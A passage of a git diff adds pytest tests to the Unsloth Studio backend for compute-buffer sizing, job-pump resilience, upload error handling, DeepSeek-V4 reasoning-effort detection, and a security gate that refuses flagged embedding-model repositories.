+        mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+        assert mla < reg
+
+    @pytest.mark.parametrize(
+        "name,embd,ctx,measured",
+        [
+            ("GLM-5.2", 6144, 754688, 4141),  # per-device compute MiB at q8_0
+            ("Kimi-K2.7", 7168, 262144, 1690),
+        ],
+    )
+    def test_mla_rate_covers_measured(self, name, embd, ctx, measured):
+        b = _backend(embd = embd, mla = 256)
+        est = b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB
+        assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}"
+
+    def test_mla_not_wildly_over(self):
+        # 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like
+        # the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context.
+        b = _backend(embd = 6144, mla = 256)
+        est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB
+        assert est <= 4141 * 1.7
diff --git a/studio/backend/tests/test_data_recipe_pump_resilience.py b/studio/backend/tests/test_data_recipe_pump_resilience.py
new file mode 100644
index 0000000000..e702be7811
--- /dev/null
+++ b/studio/backend/tests/test_data_recipe_pump_resilience.py
@@ -0,0 +1,152 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Data-recipe job pump resilience.
+
+The pump is the sole consumer of worker events and sole writer of the job
+snapshot the status/SSE endpoints read; a handler error must not kill it, or the
+job stays wedged "active" and the workflow key is never retired. Fakes only.
+"""
+
+from __future__ import annotations
+
+import queue
+import sys
+import threading
+import time
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.data_recipe.jobs.manager import JobManager  # noqa: E402
+from core.data_recipe.jobs.types import Job  # noqa: E402
+
+
+class _FakeProc:
+    def __init__(self, alive: bool = True):
+        self._alive = alive
+
+    def is_alive(self):
+        return self._alive
+
+
+class _ScriptedQueue:
+    def __init__(self, events):
+        self._events = list(events)
+
+    def get(self, timeout = None):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+    def get_nowait(self):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+
+def _wait_until(predicate, timeout = 5.0):
+    deadline = time.time() + timeout
+    while time.time() < deadline:
+        if predicate():
+            return True
+        time.sleep(0.01)
+    return predicate()
+
+
+def _manager_with_active_job():
+    m = JobManager.__new__(JobManager)
+    m._lock = threading.Lock()
+    job = Job(job_id = "job-test")
+    job.status = "active"
+    m._job = job
+    m._proc = _FakeProc(alive = True)
+    m._mp_q = _ScriptedQueue([])
+    return m
+
+
+def test_pump_survives_handler_exception_and_still_finalizes(monkeypatch):
+    m = _manager_with_active_job()
+    handled: list = []
+
+    def fake_handle(job, event):
+        if event.get("type") == "boom":
+            raise RuntimeError("malformed log line")
+        handled.append(event.get("type"))
+
+    emitted: list = []
+    retired: list = []
+    monkeypatch.setattr(m, "_handle_event", fake_handle)
+    monkeypatch.setattr(m, "_emit", lambda e: emitted.append(e))
+    monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
+
+    m._mp_q = _ScriptedQueue(
+        [{"type": "boom"}, {"type": "log"}, {"type": "boom"}, {"type": "progress"}]
+    )
+
+    pump = threading.Thread(target = m._pump_loop, daemon = True)
+    pump.start()
+    try:
+        assert _wait_until(
+            lambda: handled == ["log", "progress"]
+        ), "pump must keep processing events after a handler raises"
+        assert pump.is_alive()
+    finally:
+        m._proc._alive = False  # worker exits -> pump should finalize and stop
+        pump.join(timeout = 5)
+
+    assert not pump.is_alive()
+    # The exited worker is finalized as error (not left wedged "active") and the
+    # workflow key is retired despite the earlier handler exceptions.
+    assert m._job.status == "error"
+    assert retired and retired[0] is m._job
+
+
+def test_pump_finalizes_when_drain_raises(monkeypatch):
+    m = _manager_with_active_job()
+    monkeypatch.setattr(m, "_emit", lambda e: None)
+    retired: list = []
+    monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
+
+    class _BadDrainQueue:
+        def get(self, timeout = None):
+            raise queue.Empty
+
+        def get_nowait(self):
+            raise RuntimeError("corrupt drain payload")
+
+    m._proc = _FakeProc(alive = False)
+    m._mp_q = _BadDrainQueue()
+
+    m._pump_loop()  # returns once it sees the dead worker
+
+    assert m._job.status == "error"
+    assert retired and retired[0] is m._job
+
+
+def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch):
+    # A read that keeps raising after the child died must not spin the pump
+    # forever: once the worker is gone it falls through to finalize.
+    m = _manager_with_active_job()
+    monkeypatch.setattr(m, "_emit", lambda e: None)
+    retired: list = []
+    monkeypatch.setattr(m, "_retire_workflow_key", lambda j: retired.append(j))
+
+    class _BrokenReadQueue:
+        def get(self, timeout = None):
+            raise RuntimeError("broken queue pipe")
+
+        def get_nowait(self):
+            raise queue.Empty
+
+    m._proc = _FakeProc(alive = False)
+    m._mp_q = _BrokenReadQueue()
+
+    pump = threading.Thread(target = m._pump_loop, daemon = True)
+    pump.start()
+    pump.join(timeout = 5)
+    assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising"
+    assert m._job.status == "error"
+    assert retired and retired[0] is m._job
diff --git a/studio/backend/tests/test_data_recipe_seed.py b/studio/backend/tests/test_data_recipe_seed.py
index 601df8bbfe..09e22116ed 100644
--- a/studio/backend/tests/test_data_recipe_seed.py
+++ b/studio/backend/tests/test_data_recipe_seed.py
@@ -1,12 +1,126 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import asyncio
+import importlib.util
 from pathlib import Path
 
+import pytest
 
-def test_seed_inspect_load_kwargs_disables_remote_code_execution():
-    seed_route = (
+
+def _seed_route_source() -> str:
+    return (
         Path(__file__).resolve().parent.parent / "routes" / "data_recipe" / "seed.py"
     ).read_text()
 
-    assert '"trust_remote_code": False' in seed_route
+
+def test_seed_inspect_load_kwargs_disables_remote_code_execution():
+    assert '"trust_remote_code": False' in _seed_route_source()
+
+
+class _FakeUpload:
+    def __init__(self, filename: str, content: bytes):
+        self.filename = filename
+        self._content = content
+
+    async def read(self) -> bytes:
+        return self._content
+
+
+def _load_seed_route(monkeypatch: pytest.MonkeyPatch, tmp_path: Path):
+    pytest.importorskip("fastapi")
+    pytest.importorskip("multipart")
+    pytest.importorskip("structlog")
+
+    backend_root = Path(__file__).resolve().parent.parent
+    monkeypatch.syspath_prepend(str(backend_root))
+    route_path = backend_root / "routes" / "data_recipe" / "seed.py"
+    spec = importlib.util.spec_from_file_location("seed_under_test", route_path)
+    assert spec is not None and spec.loader is not None
+    seed_route = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(seed_route)
+    seed_route.UNSTRUCTURED_UPLOAD_ROOT = tmp_path / "unstructured-uploads"
+    return seed_route
+
+
+def _run_upload(
+    seed_route,
+    filename: str,
+    content: bytes,
+    block_id: str = "block",
+):
+    return asyncio.run(
+        seed_route.upload_unstructured_file(_FakeUpload(filename, content), block_id)
+    )
+
+
+def _block_files(seed_route, block_id: str = "block") -> list[str]:
+    block_dir = seed_route.UNSTRUCTURED_UPLOAD_ROOT / block_id
+    if not block_dir.exists():
+        return []
+    return sorted(path.name for path in block_dir.iterdir())
+
+
+def _raise(exc: BaseException):
+    def raise_exc(*args, **kwargs):
+        raise exc
+
+    return raise_exc
+
+
+@pytest.mark.parametrize(
+    ("filename", "package"),
+    [
+        ("paper.pdf", "pymupdf4llm"),
+        ("notes.docx", "mammoth"),
+    ],
+)
+def test_unstructured_upload_names_missing_extractor_dependency(
+    monkeypatch, tmp_path, filename, package
+):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    monkeypatch.setattr(
+        seed_route,
+        "_extract_text_from_file",
+        _raise(ModuleNotFoundError(f"No module named {package!r}", name = package)),
+    )
+
+    result = _run_upload(seed_route, filename, b"%PDF-1.7")
+
+    assert result.status == "error"
+    assert (
+        result.error
+        == f"Cannot read {Path(filename).suffix} files: the '{package}' package is not installed."
+    )
+    assert _block_files(seed_route) == []
+
+
+def test_unstructured_upload_keeps_txt_path_working(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    result = _run_upload(seed_route, "notes.txt", b"hello")
+
+    assert result.status == "ok"
+    assert result.error is None
+    assert any(name.endswith(".txt") for name in _block_files(seed_route))
+    assert any(name.endswith(".extracted.txt") for name in _block_files(seed_route))
+
+
+@pytest.mark.parametrize(
+    "exc",
+    [
+        ImportError("cannot import internal symbol"),
+        ModuleNotFoundError(
+            "No module named 'missing_transitive_pkg'",
+            name = "missing_transitive_pkg",
+        ),
+    ],
+)
+def test_unstructured_upload_import_errors_stay_generic(monkeypatch, tmp_path, exc):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    monkeypatch.setattr(seed_route, "_extract_text_from_file", _raise(exc))
+    result = _run_upload(seed_route, "paper.pdf", b"%PDF-1.7")
+
+    assert result.status == "error"
+    assert result.error == "Text extraction failed."
+    assert _block_files(seed_route) == []
diff --git a/studio/backend/tests/test_deepseek_v4_thinking_effort.py b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
new file mode 100644
index 0000000000..19808ad0d7
--- /dev/null
+++ b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
@@ -0,0 +1,181 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""DeepSeek-V4-Flash reasoning toggle: None / High / Max.
+
+The GGUF template gates thinking with ``enable_thinking`` and only branches
+``reasoning_effort`` on ``'max'`` (an escalation layered over plain thinking).
+Detection used to return the single level ``['max']``, so the UI collapsed to
+None / Max and the plain-thinking tier was unreachable. Detection now surfaces
+``'high'`` as that plain tier, giving None / High / Max. These tests pin the
+classifier, the GLM-style parity case, and the full request-kwargs -> rendered
+prompt path for each state (the model itself is too large to load here).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+_backend_root = Path(__file__).resolve().parent.parent
+if str(_backend_root) not in sys.path:
+    sys.path.insert(0, str(_backend_root))
+
+
+# Faithful slice of the DeepSeek-V4-Flash GGUF template: the enable_thinking
+# gate, the sole ``reasoning_effort == 'max'`` escalation, and the plain-think
+# fallback. Any non-'max' effort renders as ordinary thinking.
+DEEPSEEK_V4_TEMPLATE = """
+{%- if not thinking is defined -%}
+  {%- if enable_thinking is defined -%}
+    {%- set thinking = enable_thinking -%}
+  {%- else -%}
+    {%- set thinking = false -%}
+  {%- endif -%}
+{%- endif -%}
+{%- if not reasoning_effort is defined -%}
+  {%- set reasoning_effort = none -%}
+{%- endif -%}
+{{- bos_token -}}
+{%- if thinking and reasoning_effort == 'max' -%}
+  {{- 'Reasoning Effort: Absolute maximum with no shortcuts permitted.\\n\\n' -}}
+{%- endif -%}
+{%- for message in messages -%}
+  {{- '<|User|>' + (message['content'] or '') -}}
+{%- endfor -%}
+{%- if add_generation_prompt -%}
+  {{- '<|Assistant|>' -}}
+  {%- if thinking -%}{{- '<think>' -}}{%- else -%}{{- '</think>' -}}{%- endif -%}
+{%- endif -%}
+"""
+
+
+# GLM-5.2-style: branches on two effort literals, so 'high' already exists as
+# the sub-'max' tier and detection must leave the pair untouched.
+GLM_STYLE_TEMPLATE = """
+{%- if enable_thinking -%}
+  {%- if reasoning_effort == 'high' -%}{{- 'H' -}}
+  {%- elif reasoning_effort == 'max' -%}{{- 'M' -}}
+  {%- endif -%}
+{%- endif -%}
+"""
+
+
+# A ['max']-only template under a non-deepseek id: the synthetic 'high' is scoped
+# to deepseek-v4, so this must stay ['max'] (no phantom 'high').
+NON_DEEPSEEK_MAX_ONLY_TEMPLATE = DEEPSEEK_V4_TEMPLATE
+
+
+# A template whose sole effort literal is a sub-'max' level: the guard targets
+# only the ['max']-alone case, so a lone 'high' stays a singleton.
+HIGH_ONLY_TEMPLATE = """
+{%- if enable_thinking and reasoning_effort == 'high' -%}{{- 'H' -}}{%- endif -%}
+"""
+
+
+def _render(template: str, **kwargs) -> str:
+    jinja2 = pytest.importorskip("jinja2")
+    env = jinja2.Environment()
+    tmpl = env.from_string(template)
+    return tmpl.render(bos_token = "<BOS>", add_generation_prompt = True, **kwargs)
+
+
+# -- Classifier -------------------------------------------------------
+
+
+def test_deepseek_v4_surfaces_high_as_plain_tier():
+    """Sole 'max' escalation expands to ['high', 'max'] so None/High/Max show."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_glm_style_two_level_template_unchanged():
+    """A template that already names a sub-'max' tier is left as-is."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(GLM_STYLE_TEMPLATE, "unsloth/GLM-5.2")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_synthetic_high_scoped_to_deepseek_v4():
+    """The same ['max']-only template under a non-deepseek id keeps ['max']."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(NON_DEEPSEEK_MAX_ONLY_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
+def test_guard_does_not_fire_for_sub_max_singleton():
+    """The expansion targets only ['max']; a lone 'high' stays a singleton."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(HIGH_ONLY_TEMPLATE, "custom/high-only")
+    assert flags["reasoning_effort_levels"] == ["high"]
+
+
+# -- Request kwargs -> rendered prompt, for each state ----------------
+
+
+def _kwargs_for(flags: dict, enable_thinking, reasoning_effort):
+    """Drive the real backend method with a shim carrying the detected flags."""
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    shim = SimpleNamespace(
+        _supports_reasoning = flags["supports_reasoning"],
+        _reasoning_always_on = flags["reasoning_always_on"],
+        _reasoning_style = flags["reasoning_style"],
+        _reasoning_effort_levels = flags["reasoning_effort_levels"],
+        _supports_preserve_thinking = flags["supports_preserve_thinking"],
+    )
+    build = LlamaCppBackend._request_reasoning_kwargs.__get__(shim)
+    return build(enable_thinking, reasoning_effort, None) or {}
+
+
+def _flags():
+    from core.inference.llama_cpp import detect_reasoning_flags
+    return detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+
+
+def test_none_state_renders_non_thinking():
+    """UI 'None' -> enable_thinking=false -> closed </think>, no preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = False, reasoning_effort = None)
+    assert kwargs == {"enable_thinking": False}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("</think>")
+    assert "Absolute maximum" not in out
+
+
+def test_high_state_renders_plain_thinking():
+    """UI 'High' -> et=true, effort=high -> open <think>, no max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
+
+
+def test_max_state_injects_max_preamble():
+    """UI 'Max' -> et=true, effort=max -> open <think> plus the max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "max")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "max"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" in out
+
+
+def test_high_effort_alone_enables_thinking():
+    """API caller sending only reasoning_effort='high' (no enable_thinking) still
+    gets thinking on, so the newly exposed High mode renders correctly."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = None, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
diff --git a/studio/backend/tests/test_embedding_model_security_gate.py b/studio/backend/tests/test_embedding_model_security_gate.py
new file mode 100644
index 0000000000..940b35d7ba
--- /dev/null
+++ b/studio/backend/tests/test_embedding_model_security_gate.py
@@ -0,0 +1,365 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The RAG embedding model must pass the malware/pickle gate before it is persisted or
+loaded. A flagged repo (or any repo saved with force) previously reached
+SentenceTransformer unscanned, bypassing the normal model-load protections."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+import routes.settings as settings
+
+
+class _Decision:
+    def __init__(self, blocked):
+        self.blocked = blocked
+
+
+def _security_stub(blocked):
+    mod = _types.ModuleType("utils.security")
+    mod.evaluate_file_security = lambda *a, **k: _Decision(blocked)
+    mod.security_load_subdirs = lambda *a, **k: ()
+    return mod
+
+
+@pytest.fixture
+def client(monkeypatch):
+    # The settings scan unions in the ST module dirs read from modules.json; keep it
+    # offline and deterministic for the endpoint tests that use this fixture.
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    return TestClient(app, raise_server_exceptions = False), saved
+
+
+def test_flagged_repo_is_blocked_even_with_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "attacker/malicious-embed", "force": True}
+    )
+    # 403, not the forceable 409, so the client does not offer "save anyway".
+    assert r.status_code == 403
+    assert "model" not in saved  # force must not persist a flagged repo
+
+
+def test_flagged_repo_is_blocked_without_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert r.status_code == 403
+    assert "model" not in saved
+
+
+def test_hard_block_uses_non_forceable_status(client, monkeypatch):
+    # The forceable verification path uses 409; the hard security block must be distinct
+    # (403) so the frontend never routes it into the "save anyway" force flow.
+    c, _saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    blocked = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert blocked.status_code == 403
+
+    # A verification failure (not-an-embedding-model) stays forceable at 409.
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    monkeypatch.setattr(settings, "is_embedding_model", lambda *a, **k: False, raising = False)
+    import utils.models as _models
+
+    monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False)
+    unverified = c.put("/embedding-model", json = {"embedding_model": "acme/not-an-embedder"})
+    assert unverified.status_code == 409
+
+
+def test_llama_backend_skips_the_st_pickle_scan(monkeypatch):
+    # On the llama-server backend the embedder loads GGUF (inert), not the ST repo's
+    # pickle, so a flagged ST repo with a clean GGUF companion must not be rejected here.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: True)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+    # force skips the GGUF availability checks; the ST pickle gate is what we assert is skipped.
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama path
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_runtime_llama_fallback_skips_the_st_pickle_scan(monkeypatch):
+    # auto resolves to sentence-transformers (GPU present) but the embedder fell back to
+    # llama-server at runtime (torch/CUDA load or encode failure), so the process now loads
+    # only inert GGUF. The real _llama_backend_active() must reflect that cached fallback,
+    # so a flagged ST repo with a clean GGUF companion must not be hard-blocked here.
+    import core.rag.embeddings as embeddings
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # Simulate the runtime fallback: the process-wide backend is a LlamaServerBackend even
+    # though the auto resolver would still say sentence-transformers.
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    # Deliberately do NOT monkeypatch settings._llama_backend_active: this test exercises the
+    # real delegation to embeddings.active_backend_is_llama() so the cached fallback is honored.
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama fallback
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_active_backend_is_llama_reflects_cache_and_resolver(monkeypatch):
+    # active_backend_is_llama() reports the ACTUAL built backend when one exists, and defers
+    # to the resolver (fresh-process behavior) when none has been built yet.
+    import core.rag.embeddings as embeddings
+    import core.rag.config as rag_config
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # A cached llama backend wins even when auto would resolve to sentence-transformers.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "auto")
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    assert embeddings.active_backend_is_llama() is True
+
+    # A cached ST backend reports False even when the resolver now picks llama, so its
+    # pickle stays gated (the cached backend, not the resolver, is what actually embeds).
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    monkeypatch.setattr(embeddings, "_backend", embeddings._SentenceTransformersBackend())
+    assert embeddings.active_backend_is_llama() is False
+
+    # No cached backend -> the resolver decides, unchanged from before.
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", None)
+    assert embeddings.active_backend_is_llama() is False  # auto -> sentence-transformers
+
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    assert embeddings.active_backend_is_llama() is True  # auto -> llama-server
+
+    # An explicit (non-auto) key is honored verbatim without a cached backend.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "llama-server")
+    assert embeddings.active_backend_is_llama() is True
+
+
+def test_settings_scan_scopes_module_subdirs(monkeypatch):
+    # The settings scan must pass the ST module dirs (0_Transformer/) as load roots so a
+    # pickle directly under one blocks; assert those subdirs reach evaluate_file_security.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda *a, **k: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "acme/embed-with-module-dir", "force": True}
+    )
+    assert r.status_code == 200
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_clean_repo_saves_under_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    r = c.put("/embedding-model", json = {"embedding_model": "acme/clean-embed", "force": True})
+    assert r.status_code == 200
+    assert saved.get("model") == "acme/clean-embed"
+
+
+def test_load_sink_refuses_flagged_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    import core.rag.embeddings as embeddings
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._guard_model_security("attacker/malicious-embed")
+
+
+def test_load_sink_allows_clean_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    import core.rag.embeddings as embeddings
+    embeddings._guard_model_security("acme/clean-embed")  # no raise
+
+
+def test_sink_threads_ambient_token_into_scan(monkeypatch):
+    # A gated repo set via env/default has no request token; the guard must feed the
+    # loader's own token to the scan, or it fails open for the repo that still loads.
+    seen = {}
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = (
+        lambda name, token = None: seen.setdefault("subdirs_token", token) or ()
+    )
+    mod.evaluate_file_security = lambda *a, **k: seen.setdefault(
+        "scan_token", k.get("hf_token")
+    ) or _Decision(False)
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: "hf_ambient")
+    embeddings._guard_model_security("acme/gated-embed")
+    assert seen["scan_token"] == "hf_ambient"
+    assert seen["subdirs_token"] == "hf_ambient"
+
+
+def test_sink_scopes_st_module_subdirs_into_scan(monkeypatch):
+    # A flagged pickle directly under a Transformer module dir (0_Transformer/) must
+    # reach the scan as a load root; assert the guard unions the module dirs into
+    # load_subdirs so evaluate_file_security treats such a pickle as root-level.
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda name, token = None: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: None)
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
